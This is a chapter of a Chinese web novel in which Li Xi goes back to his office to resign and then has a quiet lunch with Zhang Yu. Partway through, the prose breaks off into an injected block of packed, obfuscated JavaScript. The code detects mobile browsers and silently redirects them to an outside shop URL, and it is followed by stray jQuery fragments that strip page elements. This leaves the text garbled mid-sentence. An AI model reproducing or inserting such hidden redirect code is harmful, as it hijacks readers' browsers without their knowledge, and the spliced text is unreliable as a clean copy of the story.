李析回公司的那天是一个周三。
他和张驭商量过这件事,或者说他们坐在客厅餐桌的两端各自安静了一会儿之后,李析先开口说了"我该回去一趟"。张驭当时正在剥一个橘子,手指停在果皮上,然后说:"我送你去。"李析没有说"不用",张驭也没有说"你确定要去"。周三早上,车停在公司大楼对面的路边,李析解开安全带的时候动作比平时慢了一点。他低头看了一眼自己的手,确认是实的——这个习惯已经几个月了,出现频率正在逐渐降低,但偶尔还是会在某个需要确认的时刻自动运行。他的手是实的,指尖有温度,指节可以弯曲和伸直,掌心有纹路。他用手推开车门,踩着人行道上的地砖走到大楼入口。
门禁系统识别了他的工卡,自动弹开了。他走进去的时候大堂前台抬头看了他一眼——那人认识他,但眼神里有一种"我听说了一些事但不确定该不该问"的闪烁。李析朝她点了一下头,朝电梯走去。
电梯门合上之后他站在轿厢里,看着楼层数字依次亮起。他的工位在七楼,靠窗一排。那扇窗户面对的是一栋灰色的写字楼——始终如此,即使他离开的那二十三天里窗外的景色也没有任何变化。电梯门打开的瞬间,走廊里的空气涌进来,是中央空调恒温的那种干冷,和他记忆中完全一致。
他沿着走廊走到自己的工位。桌面上的东西和二十三天前一样——显示器、键盘、一个马克杯,杯子里的水已经干了,杯底有一层极薄的白色矿物质沉积。他没有动那个杯子。他在工位前面站了一会儿,椅子被推进了桌面下方,他的工牌还挂在显示器边缘的挂钩上,没有被人取走过。隔壁工位的人今天请假了,再隔壁的同事正在低头看屏幕,没有抬头。
他来这里要处理的是离职手续。这是他在来的路上确定的——底层恢复之后,公司的事已经从"他在被推进底层"变成了"运维组副主管被带走调查、底层协议层有未经授权的修改记录"。他不需要恢复原职,他需要正式地、干净地离开那家公司,然后在别的地方重新开始。他的桌面杂物不多——一个马克杯、几支笔、一个笔记本。他打开笔记本翻了一下,里面是他离职前最后几天的草稿,关于公测发布的接口准备事项,最后一页的日期停留在他被推进底层的那天。他把笔记本合上,放进了带来的空包里,然后拿起马克杯看了一眼杯底的水垢,把它也放了进去。
他在工位前站了大概一分钟没有动。然后他听到了脚步声——是皮鞋踩在地板上的那种有节奏的声音,在走廊尽头响起,然后沿着通道靠近,在他背后大约几步的位置停住了。他没有回头,但他听到那个声音开口说了一句话,不是公司里的同事,是他熟悉的人:"办完了?"
李析转过身。张驭站在走廊里,穿着深灰色外套——同一件,袖口那处磨损还在——左手插在口袋里,右手垂在身侧。他站在工位区入口的位置没有往里面走,只是停在通道边缘看着李析的方向。"前台让我上来。"
"……你怎么进来的?"
"说你忘了东西,我帮你拿。"
李析停了一下。他的包里装着马克杯、笔记本、几支笔,没有忘记任何东西。"……我没忘东西。"
"嗯。"张驭的视线从他脸上移到桌面——已经清理空了——然后又移回来,"但我需要上来。"
李析把包拉好,站起来,把椅子推回桌面下方。动作和他第一天坐进这个工位的时候一样轻。"办完了。走吧。"他们一起穿过走廊的时候张驭走在前面一步,李析走在后面半步。经过前台的时候张驭朝那个前台点了一下头,动作很轻,像在说"谢了"。前台的人看了一眼张驭又看了一眼李析,没有说话。
他们走出大楼的时候,外面的光比进去的时候亮了一些,云层在午前散开了,影子在地面上变得更清晰。李析走在大楼门口的台阶上停了一下,回头看了一眼那扇旋转门——二十三天的倒计时在他离开底层的那个瞬间已经停止了,但此刻他才第一次真正确认自己已经离开了那栋楼。张驭站在台阶下面等他,没有催促。
李析走下台阶,走到张驭旁边。"去哪里?"
张驭侧过头看了他一眼,又看了一眼李析手里的包——笔记本的边角从包口露出来,被他的手臂压住。张驭没有问包里装了什么,也没有问"办完了"意味着什么。他在等李析自己确定那个答案。"去吃饭。"张驭说,"附近有一家——你之前说的,吐司和便利店饭团。"他的语气平平的,像在说一件已经决定好了的事。
李析停了一下。他想起来——大约几个月前,在底层第十三天的时候,他说过自己以前在公司吃早饭是吐司或便利店饭团。张驭记住了。他在今天,在楼的对面,选择了一家有吐司和饭团的地方作为"办完事"之后的下一站。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930609|213624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>"……好。"李析说。他朝那个方向迈出步子的时候,张驭走在他旁边,距离不是十步,不是一臂,是并肩。两个人之间的空隙里灌着午前从云层缝隙透下来的光,没有数据流在中间传输,没有终端界面和接入端口隔着他们。是空气和光在两个人之间流动。
他们走过街角的时候李析忽然说了一句话:"我杯子里的水——干了。"
张驭侧过头看了他一眼:"马克杯?"
"嗯。放了一个多月,水干了,杯底有一层白色。"
"那洗一下就能用。"
"我知道。"李析说,"但我在想,那杯水是我被推进底层之前倒的。你推门进来之前,我接了一杯水放在桌上,还没喝。然后我去了发布会现场,然后被推了。那杯水在上面放了二十三天的数据模拟加上——那一天。干了。"
张驭没有接话。他走在李析旁边,太阳的位置在他们前面偏右,两道人影被拉在身后,方向一致,随着步伐的节奏稳定地向前延伸。走了一段路之后他说了一句话,声音不大,但没有被风盖住:"那杯水干了。但杯子还在。"
李析低头看了一眼自己手里的包——笔记本的边角从包口露出来,被他手臂压住的那些页面上还留着他被推进底层那天写下的字。"……嗯。杯子还在。"
他们走进那家店的时候,窗外的光照在桌面上形成了规则的方格状光斑,店内的空气里有烘烤过的面粉和煮过的米饭的气味。张驭已经提前去柜台点好单了,他对店员说了两句,然后端着一个托盘回来了——两杯饮料、两个包好的三明治、和一个用纸盒装好的饭团。
他把饭团朝李析的方向推了推。李析拿起来拆开包装纸的时候看到米粒上嵌着海苔,和他在底层描述过的一样。他咬了一口。米饭的温度偏凉——是做好之后放了一阵的——但米粒的弹性和黏度都真实的,在齿间散开的时候释放出海苔和盐的混合气味。
张驭坐在他对面,也在吃自己那份东西。窗外的阳光落在桌沿上,和从前的每一天一样在移动,但没有倒计时——只有墙上时钟的秒针在走,和一个普通人周三午饭后的正常延续。
他们吃完饭之后沿着街道走回停车的地方。路过公司大楼的时候李析没有转头看,他走在张驭旁边,午后的光线在他们前面偏右的位置,两道人影被拉在身后,方向一致,随着步伐的节奏稳定地向前延伸。